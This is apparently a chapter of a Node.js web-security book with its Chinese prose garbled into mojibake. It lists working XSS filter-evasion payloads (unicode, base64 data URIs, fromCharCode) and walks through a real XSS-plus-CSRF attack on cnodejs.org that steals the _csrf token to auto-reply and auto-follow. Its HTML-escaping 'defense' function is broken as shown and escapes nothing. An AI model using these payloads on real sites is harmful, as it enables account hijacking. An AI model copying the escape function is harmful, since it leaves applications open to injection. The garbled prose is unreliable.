$('div:first').html('<script> alert("xss")</script> '); |
ÕâÀïÎÒÃÇÐèÒª±íÑïÒ»ÏÂPHP³ÌÐòÔ±£¬¿ÉÒÔ½«Ò»Ð©³£¹æµÄXSS×¢Èë¶¼ÆÁ±Îµô£¬µ«ÊÇÔÚutf-8±àÂëÖУ¬×Ö·û»¹ÓÐÁíÒ»ÖÖ±íʾ·½Ê½£¬ÄǾÍÊÇunicodeÂ룬ÎÒÃǰÑÉÏÃæµÄ¶ñÒâ×Ö·û´®¸Äд³ÉÈçÏ£º
$('div:first').html(' \u003c \u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c \u0065\u0072\u0074 \u0028 \u0022\u0078\u0073\u0073\u0022\u0029\u003c \u002f\u0073 \u0063\u0072\u0069\ u0070\u0074\u003e'); |
´ó¼Ò·¢ÏÖ»¹ÊÇÊä³öÁËalert¿ò£¬Ö»ÊÇÕâ´ÎÐèÒª½«Ð´ºÃµÄ¶ñÒâ´úÂë·ÅÈëתÂ빤¾ßÖÐ×öÏÂתÒ壬webqqÔø¾¾Í±¬³ö¹ýÉÏÃæÕâÖÖunicodeÂëµÄXSS×¢Èë©¶´£¬ÁíÍâÓкܶ෴ÉäÐÍXSS©¶´ÒòΪ¹ýÂËÁ˵¥Ë«ÒýºÅ£¬ËùÒÔ±ØÐëʹÓÃÕâÖÖ·½Ê½½øÐÐ×¢Èë¡£
base64×¢Èë
³ýÁ˱ȽÏÀϵÄie6¡¢7ä¯ÀÀÆ÷£¬Ò»°ãä¯ÀÀÆ÷ÔÚ¼ÓÔØÒ»Ð©Í¼Æ¬×ÊÔ´µÄʱºòÎÒÃÇ¿ÉÒÔʹÓÃbase64±àÂëÏÔʾָ¶¨Í¼Æ¬£¬±ÈÈçÏÂÃæÕâ¶Îbase64±àÂ룺
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... Ê¡ÂÔÈô¸É×Ö·û) AAAASUVORK5CYII=" /> |
±íʾµÄ¾ÍÊÇÒ»ÕÅNode.js¹ÙÍøµÄlogo£¬Í¼Æ¬ÈçÏ£º

ÎÒÃÇÒ»°ãʹÓÃÕâÑùµÄ¼¼Êõ°ÑÒ»Ð©ÍøÕ¾³£ÓõÄlogo»òÕßСͼ±êת´æ³ÉΪbase64±àÂ룬½ø¶ø¼õÉÙÒ»´Î¿Í»§¶ËÏò·þÎñÆ÷µÄÇëÇ󣬼ӿìÓû§¼ÓÔØÒ³ÃæËÙ¶È¡£
ÎÒÃÇ»¹¿ÉÒÔ°ÑHTMLÒ³ÃæµÄ´úÂëÒþ²ØÔÚdataÊôÐÔÖ®ÖУ¬±ÈÈçÏÂÃæµÄ´úÂ뽫´ò¿ªÒ»¸öhello worldµÄÐÂÒ³Ãæ¡£
<a href="data:text/html;ascii,<html><title>hello</title><body>hello world </body></html>">click me</a> |
¸ù¾ÝÕâÑùµÄÌØÐÔ£¬ÎÒÃǾͿÉÒÔ³¢ÊÔ°ÑһЩ¶ñÒâµÄ´úÂëת´æ³ÉΪbase64±àÂë¸ñʽ£¬È»ºó×¢Èëµ½a±êÇ©ÀïÈ¥£¬´Ó¶øÐγɷ´ÉäÐÍXSS©¶´£¬ÎÒÃDZàÂëÈçÏ´úÂë¡£
<img src=x onerror=alert(1)> |
¾¹ýbase64±àÂëÖ®ºóµÄ¶ñÒâ´úÂëÈçÏ¡£
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a> |
Óû§ÔÚµã»÷Õâ¸ö³¬Á´½ÓÖ®ºó£¬¾Í»áÖ´ÐÐÈçÉϵĶñÒâalertµ¯´°£¬¾ÍËãÍøÕ¾¿ª·¢Õß¹ýÂËÁ˵¥Ë«ÒýºÅ",'ºÍ×óÓÒ¼âÀ¨ºÅ<>£¬×¢È뻹ÊÇÄܹ»ÉúЧµÄ¡£
²»¹ýÕâÑùµÄ×¢ÈëÒòΪ¿çÓòµÄÎÊÌ⣬¶ñÒâ½Å±¾ÊÇÎÞ·¨»ñÈ¡ÍøÕ¾µÄcookieÖµ¡£ÁíÍâÈç¹ûÍøÕ¾ÌṩÎÒÃÇ×Ô¶¨Òåflash·¾¶£¬Ò²ÊÇ¿ÉÒÔʹÓÃÏàͬµÄ·½Ê½½øÐÐ×¢ÈëµÄ£¬ÏÂÃæÊÇÒ»¶Î¹æ·¶µÄÔÚÍøÒ³ÖвåÈëflashµÄ´úÂ룺
<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300"> <param name="movie" value="movie.swf" /> </object> |
°ÑdataÊôÐÔ¸Äд³ÉÈç϶ñÒâÄÚÈÝ£¬Ò²Äܹ»Í¨¹ýbase64±àÂë½øÐÐ×¢Èë¹¥»÷£º
<script>alert("Hello");</script> |
¾¹ý±àÂë¹ýºóµÄ×¢ÈëÄÚÈÝ£º
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object> |
Óû§ÔÚ´ò¿ªÒ³Ãæºó£¬»áµ¯³öalert¿ò£¬µ«ÊÇÔÚchromeä¯ÀÀÆ÷ÖÐÊÇÎÞ·¨»ñÈ¡µ½Óû§cookieµÄÖµ£¬ÒòΪchrome»áÈÏΪÕâ¸ö²Ù×÷²»°²È«¶ø½ûÖ¹Ëü£¬¿´À´ÎÒÃǵÄä¯ÀÀÆ÷ΪÓû§°²È«Ò²×öÁ˲»ÉٵĿ¼ÂÇ¡£
³£ÓÃ×¢È뷽ʽ
×¢ÈëµÄ¸ù±¾Ä¿µÄ¾ÍÊÇÒªHTML±êÇ©Òç³ö£¬´Ó¶øÖ´Ðй¥»÷ÕߵĶñÒâ´úÂ룬ÏÂÃæÊÇһЩ³£Óù¥»÷ÊֶΣº
£¨1£©alert(String.fromCharCode(88,83,83))£¬Í¨¹ý»ñÈ¡×ÖĸµÄasciiÂëÀ´¹æ±Üµ¥Ë«ÒýºÅ£¬ÕâÑù¾ÍËãÍøÕ¾¹ýÂ˵ôµ¥Ë«ÒýºÅÒ²»¹ÊÇ¿ÉÒԳɹ¦×¢ÈëµÄ¡£
£¨2£©<IMG SRC=JaVaScRiPt:alert('XSS')>£¬Í¨¹ý×¢Èëimg±êÇ©À´´ïµ½¹¥»÷µÄÄ¿µÄ£¬Õâ¸öÖ»¶Ôie6ºÍie7ÏÂÓÐЧ£¬ÒâÒå²»´ó¡£
£¨3£©<IMG SRC=""onerror="alert('xxs')">£¬Èç¹ûÄܳɹ¦±ÕºÏimg±êÇ©µÄsrcÊôÐÔ£¬ÄÇô¼ÓÉÏonload»òÕßonerrorʼþ¿ÉÒÔ¸ü¼òµ¥µÄÈÃÓû§ÔâÊܹ¥»÷¡£
£¨4£©<IMG SRC=javascript:alert('XSS')>£¬ÕâÖÖ·½Ê½Ò²Ö»ÓжÔie6×àЧ¡£
£¨5£©<IMG SRC="jav ascript:alert('XSS');">£¬<IMG
SRC=java\0script:alert(\"XSS\")>£¬<IMG
SRC="jav ascript:alert('XSS');">£¬ÎÒÃÇÒ²¿ÉÒ԰ѹؼü×ÖJavascript·Ö¿ªÐ´£¬±Ü¿ªÒ»Ð©¼òµ¥µÄÑéÖ¤£¬ÕâÖÖ·½Ê½ie6ͳͳÖÐÕУ¬ËùÒÔie6Õæ²»Êǰ²È«µÄä¯ÀÀÆ÷¡£
£¨6£©<LINK REL="stylesheet" HREF="javascript:alert('XSS');">£¬Í¨¹ýÑùʽ±íÒ²ÄÜ×¢Èë¡£
£¨7£©<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,Èç¹û¿ÉÒÔ×Ô¶¨ÒåstyleÑùʽ£¬Ò²¿ÉÄܱ»×¢Èë¡£
£¨8£©<IFRAME SRC="javascript:alert('XSS');"></IFRAME>£¬iframeµÄ±êǩҲ¿ÉÄܱ»×¢Èë¡£
£¨9£©<a href="javasc ript:alert(1)">click</a>£¬ÀûÓÃ
αװ»»ÐУ¬:αװðºÅ£¬´Ó¶ø±Ü¿ª¶ÔJavascript¹Ø¼ü×ÖÒÔ¼°Ã°ºÅµÄ¹ýÂË¡£
ÆäʵXSS×¢Èë¹ý³Ì³äÂúÖǻۣ¬Ö»ÒªÄã·´¸´³¢ÊÔ¸÷ÖÖ¼¼ÇÉ£¬¾Í¿ÉÄÜÔÚÍøÕ¾µÄij´¦¹¥»÷³É¹¦¡£×ÜÖ®£¬·¢»ÓÄãµÄÏëÏóÁ¦È¥×¢Èë°É£¬×îºó±ðÍüÁËÌáÐÑÏÂÕ¾³¤Å¶¡£¸ü¶àXSS×¢È뷽ʽ²ÎÔÄ£º(XSS
Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]
·À·¶´ëÊ©
¶ÔÓÚ·À·¶XSS×¢È룬ÆäʵֻÓÐÁ½¸ö×Ö¹ýÂË£¬Ò»¶¨Òª¶ÔÓû§Ìá½»ÉÏÀ´µÄÊý¾Ý±£³Ö»³ÒÉ£¬¹ýÂ˵ôÆäÖпÉÄÜ×¢ÈëµÄ×Ö·û£¬ÕâÑù²ÅÄܱ£Ö¤Ó¦Óõݲȫ¡£ÁíÍ⣬¶ÔÓÚÈë¿âʱ¹ýÂË»¹ÊǶÁ¿âʱ¹ýÂË£¬Õâ¾ÍÐèÒª¸ù¾ÝÓ¦ÓõÄÀàÐÍÀ´½øÐÐÑ¡ÔñÁË¡£ÏÂÃæÊÇÒ»¸ö¼òµ¥µÄ¹ýÂËHTML±êÇ©µÄº¯Êý´úÂ룺
var escape = function(html){ return String(html) .replace(/&(?!\w+;)/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); }; |
²»¹ýÉÏÊöµÄ¹ýÂË·½·¨»á°ÑËùÓÐHTML±êÇ©¶¼×ªÒ壬Èç¹ûÎÒÃǵÄÍøÕ¾Ó¦ÓÃȷʵÓÐ×Ô¶¨ÒåHMTL±êÇ©µÄÐèÇóµÄ»°£¬Ëü¾ÍÁ¦²»´ÓÐÄÁË¡£ÕâÀïÎÒÍÆ¼öÒ»¸ö¹ýÂËXSS×¢ÈëµÄÄ£¿é£¬Óɱ¾ÊéÁíһλ×÷ÕßÀÏÀ×Ìṩ£ºjs-xss
CSRFÇëÇóαÔì
CSRFÊÇÊ²Ã´ÄØ£¿CSRFÈ«ÃûÊÇCross-site request forgery£¬ÊÇÒ»ÖÖ¶ÔÍøÕ¾µÄ¶ñÒâÀûÓã¬CSRF±ÈXSS¸ü¾ßΣÏÕÐÔ¡£
SessionÏê½â
ÏëÒªÉîÈëÀí½âCSRF¹¥»÷µÄÌØÐÔ£¬ÎÒÃDZØÐëÁ˽âÍøÕ¾sessionµÄ¹¤×÷ÔÀí¡£
sessionÎÒÏë´ó¼Ò¶¼²»»áİÉú£¬ÎÞÂÛÄãÓÃNode.js»òPHP¿ª·¢¹ýÍøÕ¾µÄ¿Ï¶¨¶¼Óùýsession¶ÔÏ󣬼ÙÈçÎÒ°Ñä¯ÀÀÆ÷µÄcookie½ûÓÃÁË£¬´ó¼ÒÈÏΪsession»¹ÄÜÕý³£¹¤×÷Âð£¿
´ð°¸ÊÇ·ñ¶¨µÄ£¬ÎÒ¾Ù¸ö¼òµ¥µÄÀý×ÓÀ´°ïÖú´ó¼ÒÀí½âsessionµÄº¬Òå¡£
±ÈÈçÎÒ°ìÁËÒ»Õų¬ÊеĴ¢Öµ»áÔ±¿¨£¬ÎÒÄÜÏíÊܲ¿·ÖÉÌÆ·´òÕÛµÄÓŻݣ¬ÎҵĸöÈË×ÊÁÏÒÔ¼°¿¨ÄÚÓà¶î¶¼ÊDZ£´æÔÚ³¬ÊлáÔ±Êý¾Ý¿âÀïµÄ¡£Ã¿´Î½áÕËʱ£¬³öʾ»áÔ±¿¨³¬ÊбãÄÜÖªµÀÎÒµÄÉí·Ý£¬Ëæ¼´½øÐдòÕÛÓŻݲ¢¿Û³ý¿¨ÄÚÏàÓ¦Óà¶î¡£
ÕâÀïÎÒÃǵĻáÔ±¿¨¿¨ºÅ¾ÍÏ൱ÓÚ±£´æÔÚcookieÖеÄsessionid£¬¶øÎҵĸöÈËÐÅÏ¢¾ÍÊDZ£´æÔÚ·þÎñ¶ËµÄsession¶ÔÏó£¬ÒòΪcookieÓÐÁ½¸öÖØÒªÌØÐÔ£¬£¨1£©Í¬Ô´ÐÔ£¬±£Ö¤ÁËcookie²»»á¿çÓò·¢ËÍÔì³ÉйÃÜ£»£¨2£©¸½´øÐÔ£¬±£Ö¤Ã¿´ÎÇëÇó·þÎñ¶Ë¶¼»áÔÚÇëÇóÍ·ÖдøÉÏcookieÐÅÏ¢¡£Ò²¾ÍÊÇÕâÁ½¸öÌØÐÔΪÎÒÃÇʶ±ðÓû§´øÀ´µÄ±ãÀû£¬ÒòΪHTTPÐÒéÊÇÎÞ״̬µÄ£¬ÎÒÃÇÖ®ËùÒÔÖªµÀÇëÇóÓû§µÄÉí·Ý£¬Æäʵ¾ÍÊÇ»ñÈ¡ÁËÓû§ÇëÇóÍ·ÖеÄcookieÐÅÏ¢¡£
µ±È»session¶ÔÏóµÄ±£´æ·½·¨¶àÖÖ¶àÑù£¬¿ÉÒÔ±£´æÔÚÎļþÖУ¬Ò²¿ÉÒÔÊÇÄÚ´æÀï¡£¿¼Âǵ½·Ö²¼Ê½µÄºáÏòÀ©Õ¹£¬ÎÒÃÇ»¹Êǽ¨ÒéÉú²ú»·¾³°ÑËü±£´æÔÚµÚÈý·½Ã½½éÖУ¬±ÈÈçredis»òÕßmongodb£¬Ä¬ÈϵÄexpress¿ò¼ÜÊǽ«session¶ÔÏó±£´æÔÚÄÚ´æÀïµÄ¡£
³ýÁËÓÃcookie±£´æsessionid£¬ÎÒÃÇ»¹¿ÉÒÔʹÓÃurl²ÎÊýÀ´±£´æsessionid£¬Ö»²»¹ýÿ´ÎÇëÇó¶¼ÐèÒªÔÚurlÀï´øÉÏÕâ¸ö²ÎÊý£¬¸ù¾ÝÕâ¸ö²ÎÊý£¬ÎÒÃǾÍÄÜʶ±ð´Ë´ÎÇëÇóµÄÓû§Éí·ÝÁË¡£
ÁíÍâ½ü½×¶ÎÀûÓÃEtagÀ´±£´æsessionidÒ²±»Ê¹ÓÃÔÚÓû§ÐÐΪ¸ú×ÙÉÏ£¬EtagÊǾ²Ì¬×ÊÔ´·þÎñÆ÷¶ÔÓû§ÇëÇóÍ·ÖÐif-none-matchµÄÏìÓ¦£¬Ò»°ãÎÒÃǵÚÒ»´ÎÇëÇóijһ¸ö¾²Ì¬×ÊÔ´ÊDz»»á´øÉÏÈκιØÓÚ»º´æÐÅÏ¢µÄÇëÇóÍ·µÄ£¬Õâʱºò¾²Ì¬×ÊÔ´·þÎñÆ÷¸ù¾Ý´Ë×ÊÔ´µÄ´óСºÍ×îÖÕÐÞ¸Äʱ¼ä£¬¹þÏ£¼ÆËã³öÒ»¸ö×Ö·û´®×÷ΪEtagµÄÖµÏìÓ¦¸ø¿Í»§¶Ë£¬ÈçÏÂͼ£º

µÚ¶þ´Îµ±ÎÒÃÇÔÙ·ÃÎÊÕâ¸ö¾²Ì¬×ÊÔ´µÄʱºò£¬ÓÉÓÚ±¾µØä¯ÀÀÆ÷¾ßÓдËͼƬµÄ»º´æ£¬µ«ÊDz»È·¶¨·þÎñÆ÷ÊÇ·ñÒѾ¸üеôÁËÕâ¸ö¾²Ì¬×ÊÔ´£¬ËùÒÔÔÚ·¢ÆðÇëÇóµÄʱºò»á´øÉÏif-none-match²ÎÊý£¬ÆäÖµ¾ÍÊÇÉÏ´ÎÇëÇó·þÎñÆ÷ÏìÓ¦µÄEtagÖµ¡£·þÎñÆ÷½ÓÊÕµ½Õâ¸öif-none-matchµÄÖµ£¬ÔÙ¸ù¾ÝÔË㷨ȥÉú³ÉEtagÖµ£¬½øÐбȶԡ£Èç¹ûÁ½¸öÖµÏàͬ£¬Ôò˵Ã÷¸Ã¾²Ì¬×ÊԴûÓб»¸üУ¬ÓÚÊÇÏìӦ״̬Âë304£¬¸æËßä¯ÀÀÆ÷·ÅÐĵÄʹÓñ¾µØ»º´æ£¬Ô¶³Ì×ÊԴûÓиüУ¬½á¹ûÈçÏÂͼ£º

µ±È»Èç¹ûÔ¶³Ì×ÊÔ´Óб䶯£¬Ôò·þÎñÆ÷»áÏìÓ¦Ò»·ÝеÄ×ÊÔ´¸øä¯ÀÀÆ÷£¬²¢ÇÒEtagµÄÖµÒ²»á²»Í¬¡£¸ù¾ÝÕâÑùµÄÒ»¸öÌØÐÔ£¬ÎÒÃÇ¿ÉÒԵóö½áÂÛ£¬ÔÚÓû§µÚÒ»´ÎÇëÇóijһ¸ö¾²Ì¬×ÊÔ´µÄʱºòÎÒÃÇÏìÓ¦¸øËüÒ»¸öÈ«¾ÖΨһµÄEtagÖµ£¬ÔÚÓû§²»Çå¿Õ»º´æµÄÇé¿öÏ£¬Óû§Ï´ÎÔÙÇëÇóµ½·þÎñÆ÷£¬»¹ÊÇ»á´øÉÏͬһ¸öEtagÖµµÄ£¬ÓÚÊÇÎÒÃÇ¿ÉÒÔÀûÓÃÕâ¸öÖµ×÷Ϊsessionid£¬¶øÎÒÃÇÔÚ·þÎñÆ÷¶Ë±£´æÕâЩEtagÖµºÍÓû§ÐÅÏ¢µÄ¶ÔÓ¦¹ØÏµ£¬Ò²¾Í¿ÉÒÔÀûÓÃEtagÀ´±êʶ³öÓû§Éí·ÝÁË¡£
CSRFµÄΣº¦ÐÔ
ÔÚÎÒÃÇÀí½âÁËsessionµÄ¹¤×÷»úÖÆºó£¬CSRF¹¥»÷Ò²¾ÍºÜÈÝÒ×Àí½âÁË¡£CSRF¹¥»÷¾ÍÏ൱ÓÚ¶ñÒâÓû§¸´ÖÆÁËÎҵĻáÔ±¿¨£¬ÓÃÎҵĻáÔ±¿¨ÏíÊܹºÎïµÄÓÅ»ÝÕÛ¿Û£¬¸ü¿ÉÒÔʹÓÃÎÒ¹ºÎ│ÀïµÄÓà¶î¹ºÂòËûµÄ¶«Î÷£¡
CSRFµÄΣº¦ÐÔÒѾ²»ÑÔ¶øÓ÷ÁË£¬¶ñÒâÓû§¿ÉÒÔαÔìijһ¸öÓû§µÄÉí·Ý¸øÆäºÃÓÑ·¢ËÍÀ¬»øÐÅÏ¢£¬ÕâЩÀ¬»øÐÅÏ¢µÄ³¬Á´½Ó¿ÉÄÜ´øÓÐľÂí³ÌÐò»òÕßһЩթÆÐÅÏ¢£¨±ÈÈç½èǮ֮ÀàµÄ£©¡£Èç¹û·¢Ë͵ÄÀ¬»øÐÅÏ¢»¹´øÓÐÈ䳿Á´½ÓµÄ»°£¬½ÓÊÕµ½ÕâЩÓк¦ÐÅÏ¢µÄºÃÓÑÒ»µ©´ò¿ªË½ÐÅÖеÄÁ´½Ó£¬¾ÍÒ²³ÉΪÁËÓк¦ÐÅÏ¢µÄÉ¢²¥Õߣ¬ÕâÑùÊýÒÔÍò¼ÆµÄÓû§±»ÇÔÈ¡ÁË×ÊÁÏ¡¢ÖÖÖ²ÁËľÂí¡£Õû¸öÍøÕ¾µÄÓ¦ÓþͿÉÄÜÔÚ¶Ìʱ¼äÄÚ̱»¾¡£
MSNÍøÕ¾£¬Ôø¾±»Ò»¸öÃÀ¹úµÄ19ËêС»ï×ÓSamyÀûÓÃcssµÄbackground©¶´¼¸Ð¡Ê±ÄÚÈÃ100¶àÍòÓû§³É¹¦µÄ¸ÐȾÁËËûµÄÈ䳿£¬ËäÈ»Õâ¸öÈ䳿²¢Ã»ÓÐÆÆ»µÕû¸öÓ¦Óã¬Ö»ÊÇÔÚÿһ¸öÓû§µÄÇ©ÃûºóÃæ¶¼Ôö¼ÓÁËÒ»¾ä¡°Samy
ÊÇÎÒµÄżÏñ¡±£¬µ«ÊÇÒ»µ©ÕâЩ©¶´±»¶ñÒâÓû§ÀûÓ㬺ó¹û½«²»¿°ÉèÏ롣ͬÑùµÄÊÂÇéÒ²Ôø¾·¢ÉúÔÚÐÂÀË΢²©ÉÏ¡£
ÏëÒªCSRF¹¥»÷³É¹¦£¬×î¼òµ¥µÄ·½Ê½¾ÍÊÇÅäºÏXSS×¢È룬ËùÒÔǧÍò²»ÒªÐ¡¿´ÁËXSS×¢Èë¹¥»÷´øÀ´µÄºó¹û£¬²»ÊÇalertÒ»¸ö¶Ô»°¿òÄÇô¼òµ¥£¬XSS×¢Èë½ö½öÊǵÚÒ»²½£¡
cnodejs¹ÙÍø¹¥»÷ʵÀý
±¾½Ú½«¸ø´ó¼Ò´øÀ´Ò»¸öÕæÊµµÄ¹¥»÷°¸Àý£¬Ñ§Ï°Node.js±à³ÌµÄ°®ºÃÕßÃǿ϶¨¶¼·ÃÎʹýcnodejs.org£¬ÔçÆÚcnodejs½öʹÓÃÒ»¸ö¼òµ¥µÄMarkdown±à¼Æ÷×÷Ϊ·¢Ìû»Ø¸´µÄ¹¤¾ß²¢Ã»ÓÐ×öÈκÎÏÞÖÆ£¬ÔÚ±à¼Æ÷¹ýÂ˵ôHTML±êǩ֮ǰ£¬Õû¸öÉçÇøalertµ¯´°ÂúÌì·É£¬ÏÂͼ¾ÍÊÇÐÞ¸´Õâ¸ö©¶´Ö®Ç°µÄ¸÷ÖÖ×¢ÈëÇé¿ö£º

ÏÈ·ÖÎöÒ»ÏÂcnodejs±»×¢ÈëµÄÔÒò£¬ÆäʵÔÀíºÜ¼òµ¥£¬¾ÍÊÇÖ±½Ó¿ÉÒÔÔÚÎı¾±à¼Æ÷ÀïдÈë´úÂ룬±ÈÈ磺
<script>alert("xss")</script> |
Èç´Ë¹âÃ÷Õý´óµÄ×¢Èë¿Ï¶¨»áÒýÆðÕ¾³¤ÃǵÄ×¢Ò⣬ÓÚÊÇÕ¾³¤¹Ø±ÕÁËmarkdown±à¼Æ÷µÄHTML±êÇ©¹¦ÄÜ£¬Ç¿ÖƹýÂËÖ±½ÓÔÚ±à¼Æ÷ÖÐÊäÈëµÄHTML±êÇ©¡£
cnodejs×¢ÈëµÄ·ç²¨ÔÝʱƽϢÁË£¬²»¹ýÕæµÄ½ûÓÃÁËËùÓÐÊäÈëµÄHTML±êÇ©¾Í°²È«ÁËÂð£¿ÎÒÃÇ´ò¿ªcnodejsÍøÕ¾µÄ·¢ÌûÒ³Ãæ£¬·¢ÏÖ±à¼Æ÷Æäʵ»¹ÊÇ¿ÉÒÔ²åÈ볬Á´½ÓµÄ£¬Õâ¸ö¹¦ÄܾÍÊÇΪÁ˰ïÖú¿ª·¢Õß·ÖÏí×Ô¼ºµÄwebÕ¾µãÒÔ¼°Ñ§Ï°×ÊÁÏ£º

Ò»°ãweb±à¼Æ÷µÄ³¬Á´½Ó¹¦ÄÜ×îÓпÉÄܳÉΪ·´ÉäÐÍXSSµÄ×¢Èëµã£¬ÏÂÃæÊÇweb±à¼Æ÷ͨ³£²ÉÈ¡µÄ³¬Á´½Ó¹¦ÄÜʵÏÖµÄÔÀí£¬¸ù¾ÝÓû§ÌîдµÄ³¬Á´½ÓµØÖ·£¬Éú³É<a>±êÇ©£º
<a href="Óû§ÌîдµÄ³¬Á´½ÓµØÖ·">Óû§ÌîдµÄ³¬Á´½ÓÃèÊö</a>
ͨ³£ÎÒÃÇ¿ÉÒÔͨ¹ýÏÂÃæÁ½ÖÖ·½Ê½×¢Èë<a>±êÇ©£º
£¨1£©Óû§ÌîдµÄ³¬Á´½ÓÄÚÈÝ = javascript:alert("xss");
£¨2£©Óû§ÌîдµÄ³¬Á´½ÓÄÚÈÝ = http://www.baidu.com#"onclick="alert('xss')"
·½·¨£¨1£©ÊÇÖ±½ÓдÈëjs´úÂ룬һ°ã¶¼»á±»½ûÓã¬ÒòΪ·þÎñ¶ËÒ»°ã»áÑéÖ¤url
µØÖ·µÄºÏ·¨ÐÔ£¬±ÈÈçÊÇ·ñÊÇhttp»òÕßhttps¿ªÍ·µÄ¡£
·½·¨£¨2£©ÊÇÀûÓ÷þÎñ¶ËûÓйýÂËË«ÒýºÅ£¬´Ó¶ø½Ø¶Ï<a>±êÇ©hrefÊôÐÔ£¬¸øÕâ¸ö<a>±êÇ©Ôö¼Óonclickʼþ,´Ó¶øÊµÏÖ×¢Èë¡£
ºÜ¿Éϧ£¬¾¹ýÉý¼¶µÄcnodejsÍøÕ¾±à¼Æ÷½«Ë«ÒýºÅ¹ýÂË£¬ËùÒÔ·½·¨£¨2£©ÒѾÐв»Í¨ÁË¡£µ«ÊÇcnodejs²¢Ã»ÓйýÂ˵¥ÒýºÅ£¬µ¥ÒýºÅÎÒÃÇÒ²ÊÇ¿ÉÒÔÀûÓõģ¬ÓÚÊÇÎÒÃÇ×¢ÈëÈçÏ´úÂ룺

ÎÒÃÇαÔìÁËÒ»¸ö±êÌâΪbbbbµÄ³¬Á´½Ó£¬È»ºóÔÚhrefÊôÐÔÀïÖ±½ÓдÈëjs´úÂëalert£¬×îºóÎÒÃÇÀûÓÃjsµÄ×¢ÊÍÌí¼ÓÒ»¸öË«ÒýºÅ½á⣬Æóͼ³¢ÊÔË«ÒýºÅÊÇ·ñתÒå¡£Èç¹ûµ¥ÒýºÅÒ²±»×ªÒåÎÒÃÇ»¹¿ÉÒÔ³¢ÊÔʹÓÃString.fromCharCode();µÄ·½Ê½À´×¢È룬ÉÏͼhrefÊôÐÔÒ²¿ÉÒÔ¸ÄΪ£º
<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34, 41))">Óû§ÌîдµÄ³¬Á´½ÓÃèÊö</a> |
ÏÂͼ¾ÍÊÇXSS×¢Èë³É¹¦£¬<a>±êÇ©²à©µÄͼƬ£º

ÔÚ½øÐÐÒ»´Î¼òµ¥µÄCSRF¹¥»÷֮ǰ£¬ÎÒÃÇÐèÒªÁ˽âÒ»°ãÍøÕ¾ÊÇÈçºÎ·À·¶CSRFµÄ¡£
ÍøÕ¾Í¨³£ÔÚÐèÒªÌá½»Êý¾ÝµÄµØ·½ÂñÈëÒ»¸öÒþ²ØµÄinput¿ò£¬Õâ¸öinput¿òµÄnameÖµ¿ÉÄÜÊÇ_csrf»òÕß_inputµÈ£¬Õâ¸öÒþ²ØµÄinput¿ò¾ÍÊÇÓÃÀ´µÖÓùCSRF¹¥»÷µÄ£¬Èç¹û¹¥»÷ÕßÒýµ¼Óû§ÔÚÆäËûÍøÕ¾·¢ÆðpostÇëÇóÌá½»±íµ¥Ê±£¬»áÒòΪÒþ²Ø¿òµÄ_csrfÖµ²»Í¬¶øÑé֤ʧ°Ü£¬Õâ¸ö_csrfÖµ½«»á¼Ç¼ÔÚsession¶ÔÏóÖУ¬ËùÒÔÔÚÆäËû¶ñÒâÍøÕ¾ÊÇÎÞ·¨»ñÈ¡µ½Õâ¸öÖµµÄ¡£
µ«Êǵ±Õ¾µã±»XSS×¢ÈëÖ®ºó£¬Òþ²Ø¿òµÄ·ÀÓùCSRF¹¦Äܽ«³¹µ×ʧЧ¡£»Øµ½cnodejsÕ¾µã£¬²é¿´Ô´Â룬ÎÒÃÇ¿´µ½ÍøÕ¾×÷Õß°Ñ_csrfÖµ·Åµ½±Õ°üÄÚ£¬È»ºóͨ¹ýÄ£°æäÖȾֱ½ÓÊä³ö£¬ÕâÑù¿´ÉÏÈ¥¿ÉÒÔ·ÀÓù×¢ÈëµÄ½Å±¾Ö±½Ó»ñÈ¡_csrfµÄÖµ£¬µ«ÊÇÕæµÄÕâÑùÂð£¿ÎÒÃÇ¿´ÏÂÃæ´úÂëµÄÔËÐнØÍ¼£º

ÎÒÃÇÓÃAjaxÇëÇó±¾Ò³µØÖ·£¬È»ºó»ñÈ¡Õû¸öÒ³ÃæµÄÎı¾£¬Í¨¹ýÕýÔò½«_csrfµÄֵƥÅä³öÀ´£¬Äõ½_csrfÖµºóÎÒÃǾͿÉÒÔΪËùÓûΪÁË£¬ÎÒÃÇÕâ´ÎµÄ¹¥»÷µÄÄ¿µÄÓÐ2¸ö£º
£¨1£©½«ÎÒËù·¢µÄÕâÆª¶ñÒâÖ÷ÌâÖö¥£¬ÒªÈøü¶àµÄÓû§¿´µ½£¬ÏëÒªÌû×ÓÖö¥£¬¾Í±ØÐëÈÃÓû§×Ô¶¯»Ø¸´£¬µ«ÊÇÈç¹ûÒ»µ©·è¿ñµÄ×Ô¶¯»Ø¸´£¬¿Ï¶¨»á±»¹ÜÀíÔ±·¢ÏÖ£¬½«µ¼ÖÂÖ÷Ìⱻɾ³ý»òÕßÒýÆðÆäËûÊܺ¦ÕßµÄ×¢Òâ¡£ËùÒÔÎÒ¹¹ÏëÁËÈçÏÂÁ÷³Ì£¬ÏÈ×Ô¶¯»Ø¸´Ö÷Ì⣬Ȼºó×Ô¶¯É¾³ý»Ø¸´µÄÖ÷Ì⣬ÕâÑù¾ÍÉñ²»Öª¹í²»¾õÁË£¬Óû§Ò²²»»á·¢ÏÖ×Ô¼º»Ø¸´¹ýÁË£¬¹ÜÀíÔ±Ò²²»»áÔÚÒ⣬ÒòΪÌû×Ó²¢Ã»ÓÐÏÔʾÀ¬»øÐÅÏ¢¡£
£¨2£©Ôö¼ÓÕʺÅsnoopyµÄ·ÛË¿Êý£¬ÒªÈÃÊܺ¦Õß¹Ø×¢snoopyÕâ¸öÕʺţ¬ÎÒÃÇÖ»ÒªÖ±½ÓαÔìÊܺ¦ÕßÇëÇ󣬷¢Ë͵½¹Ø×¢ÕʺŵĽӿڵØÖ·¼´¿É£¬µ±È»ÕâÒ²ÊÇÔÚºǫ́ÔËÐеġ£
ÏÂÃæÊÇÎÒÃÇÐèÒªÓõ½µÄcnodejsÕ¾µãHTTP½Ó¿ÚµØÖ·£º
